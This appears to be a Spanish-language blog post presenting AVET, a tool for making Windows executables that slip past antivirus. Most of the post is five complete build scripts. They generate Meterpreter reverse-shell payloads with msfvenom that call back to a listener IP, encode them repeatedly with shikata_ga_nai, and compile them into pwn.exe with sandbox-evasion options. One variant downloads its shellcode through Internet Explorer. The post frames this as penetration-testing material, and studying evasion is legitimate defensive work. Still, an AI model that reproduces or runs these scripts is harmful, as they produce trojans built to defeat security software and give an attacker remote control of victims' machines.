AVET (AntiVirus Evasion Tool)

Ya sabéis que cuando se ejecuta un archivo exe hecho con msfpayload y cía, el archivo exe normalmente es detectado por el AV...

AVET (AntiVirus Evasion Tool) es una herramienta de Daniel Sauder (aka govolution) que permite experimentar con distintas técnicas de evasión de antivirus. Antes de continuar, os recomiendo echar un vistazo a las presentaciones de su autor https://govolutionde.files.wordpress.com/2014/05/avevasion_pentestmag.pdf y https://deepsec.net/docs/Slides/2014 /Why_Antivirus_Fails_-_Daniel_Sauder.pdf.

Las principales características de AVET son:

- su objetivo son las máquinas de Windows mediante archivos ejecutables
- en la última versión 1.1 se pueden usar payloads de 64 bits
- puede utilizar shellcodes en ensamblador
- se puede utilizar make_avet para configurar el código fuente
- con make_avet se pueden cargar códigos codificados en ASCII desde un archivo de texto o desde un servidor web, además usa una técnica de evasión de AV para evitar el sandboxing y la emulación
- para la codificación ASCII del shellcode se incluye la herramienta format.sh y sh_format

La herramienta se ha probado en Kali 2 (64 bits) y necesita tdm-gcc. Para instalar tdm-gcc visitar https://govolution.wordpress.com/2017/02/04/using-tdm-gcc-with-kali-2/, aunque tampoco tiene mucho misterio:

- Descarga el ejecutable correspondiente en https://sourceforge.net/projects/tdm-gcc/
- Instala con # wine tdm64-gcc-5.1.0-2.exe

Cómo usar make_avet y crear scripts

Compilar si es necesario:

$ gcc -o make_avet make_avet.c

El propósito de make_avet es preconfigurar un archivo de definición (defs.h) para que el código fuente se pueda compilar en el siguiente paso. De esta manera el payload se codificará como payload ASCII o con encoders de metasploit.

Las opciones disponibles de make_avet son:

-l carga y ejecuta el shellcode desde un archivo, se llama con mytrojan.exe -l myshellcode.txt
-f compila el shellcode a .exe, necesita el nombre de archivo del shellcode
-u Carga y ejecuta el shellcode desde una url con Internet Explorer (la url se compila en ejecutable)
-E usa el ASCII de AVET cifrado (con -l es obligatorio utilizar -E)
-F usa evasión de sandbox con fopen
-X compila para 64 Bits
-p imprime información de depuración
-h ayuda

Por supuesto, es posible ejecutar todos los comandos paso a paso desde la línea de comandos. Pero se recomienda utilizar el scripts avet_fabric.py, un asistente para hacer los exes (avet_fabric.py).

Los scripts de compilación están escritos de manera que tienen que ser llamados desde el directorio avet:

root@kalidan:~/tools/avet# ./build/build_win32_meterpreter_rev_https_20xshikata.sh

Ejemplos

Estos son algunos ejemplos explicados para crear los archivos .exe

Ejemplo 1:

Compila un shellcode en un archivo .exe y usa -F como técnica de evasión. Ten en cuenta que este ejemplo funcionará para la mayoría de los motores antivirus. Aquí -E se utiliza para codificar el shellcode como ASCII.

#!/bin/bash
# Script de ejemplo para crear un archivo .exe
# Incluye un script que contiene la variable del compilador $win32_compiler
# Puedes editar el compilador en build/global_win32.sh
# O poner $win32_compiler = "mycompiler" aquí
. build/global_win32.sh
# construye el payload para un meterpreter inverso, lo codifica con shikata_ga_nai
# Además del codificador de avet, se debe usar codificación adicional
msfvenom -p windows/meterpreter/reverse_https lhost=192.168.116.132 lport=443 -e x86/shikata_ga_nai -i 3 -f c -a x86 --platform Windows > sc.txt
# formatea el shellcode para make_avet
./format.sh sc.txt > scclean.txt && rm sc.txt
# llama a make_avet, -f compila el shellcode a un fichero exe, -F es para la evasión del sandbox AV, -E codifica el shellcode como ASCII
./make_avet -f scclean.txt -F -E
# compila a un archivo pwn.exe
$win32_compiler -o pwn.exe avet.c
# limpia
rm scclean.txt && echo "" > defs.h

Ejemplo 2:

Uso sin -E. En este ejemplo, la técnica de evasión es simple. El shellcode está codificado 20 veces con shikata-ga-nai, normalmente lo suficiente. Esta técnica es bastante similar a un loop junk. Ejecutar tanto código hace que el motor AV deje pasar el archivo.

#!/bin/bash
# Script de ejemplo para crear un archivo .exe
# Incluye un script que contiene la variable del compilador $win32_compiler
# Puedes editar el compilador en build/global_win32.sh
# O poner $win32_compiler = "mycompiler" aquí
. build/global_win32.sh
# Hace el payload de meterpreter, codificado 20 veces con shikata_ga_nai
msfvenom -p windows/meterpreter/reverse_https lhost=192.168.116.128 lport=443 -e x86/shikata_ga_nai -i 20 -f c -a x86 --platform Windows > sc.txt
# Llama a make_avet, el escape de sandbox se debe a las muchas rondas de decodificación del shellcode
./make_avet -f sc.txt
# Compilar al archivo pwn.exe
$ Win32_compiler -o pwn.exe avet.c
# limpiar
echo ""> defs.h

Ejemplo 3 payloads de 64 bits:

En principio para payloads de 64 bits no se deben usar técnicas de evasión adicionales. Pero -F debería funcionar también.

#!/bin/bash          
# Script de ejemplo para crear un archivo .exe
. build/global_win64.sh
# haz un payload para un meterpreter inverso
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.116.132 lport=443 -f c --platform Windows > sc.txt
# formatea e shellcode para make_avet
./format.sh sc.txt > scclean.txt && rm sc.txt
# llama a make_avet, compila
./make_avet -f scclean.txt -X -E
$win64_compiler -o pwn.exe avet.c
# limpiar
rm scclean.txt && echo "" > defs.h

Ejemplo 4 carga desde un archivo:

Aquí se necesita el encoder ASCII. El ejecutable cargará el payload de un archivo de texto, lo cual es suficiente para que la mayoría de los motores AV permitan que el payload se ejecute.

#!/bin/bash
# Script de ejemplo para crear un archivo .exe
# Incluye un script que contiene la variable del compilador $win32_compiler
# Puedes editar el compilador en build/global_win32.sh
# O poner $win32_compiler = "mycompiler" aquí
. build/global_win32.sh
# hace el payload para un meterpreter inverso, codificado con shikata_ga_nai
# Además del codificador de avet, se debe usar codificación adicional
msfvenom -p windows/meterpreter/reverse_https lhost=192.168.116.132 lport=443 -e x86/shikata_ga_nai -f c -a x86 --platform Windows > sc.txt
# formatea el shellcode para make_avet
./format.sh sc.txt > thepayload.txt && rm sc.txt
# llama a make_avet, -l compila el nombre del fichero en el archivo .exe 
./make_avet -l thepayload.exe -E
# compila a pwn.exe 
$win32_compiler -o pwn.exe avet.c
# linpia
#echo "" > defs.h
# Ahora puedes llamar al programa con pwn.exe, el payload.txt tiene que estar en el mismo directorio

Ejemplo 5 carga con Internet Explorer:

Esto es un poco más complicado y puede que no funcione en el primer intento. El ejecutable iniciará Internet Explorer y descargará el codigo codificado ASCII. A continuación, el shellcode se leerá desde el directorio de caché y si se encuentra lo ejecutará. Se probó con Windows 7 solamente.

#!/bin/bash          
# Script de ejemplo para crear un archivo .exe
# Incluye un script que contiene la variable del compilador $win32_compiler
# Puedes editar el compilador en build/global_win32.sh
# O poner $win32_compiler = "mycompiler" aquí
. build/global_win32.sh
# hace el payload para un meterpreter inverso, codificado con shikata_ga_nai
# Además del codificador de avet, se debe usar codificación adicional
msfvenom -p windows/meterpreter/reverse_https lhost=192.168.2.105 lport=443 -e x86/shikata_ga_nai -i 2 -f c -a x86 --platform Windows > sc.txt
# formatea el shellcode para make_avet
./format.sh sc.txt > scclean.txt && rm sc.txt
# llama make_avet, compila 
./make_avet -E -u 192.168.2.105/scclean.txt
$win32_compiler -o pwn.exe avet.c
# limpia
echo " " > defs.h
# ahora copia scclean.txt al web root e inicia. 

avet_fabric.py

Avet_fabric es un asistente, que carga todos los scripts de construcción en el directorio de compilación (el nombre tiene que ser build*.sh) y luego permite al usuario editar la configuración línea por línea. Todavía está en desarrollo pero es tremendamente útil.

Proyecto: https://github.com/govolution/avet.git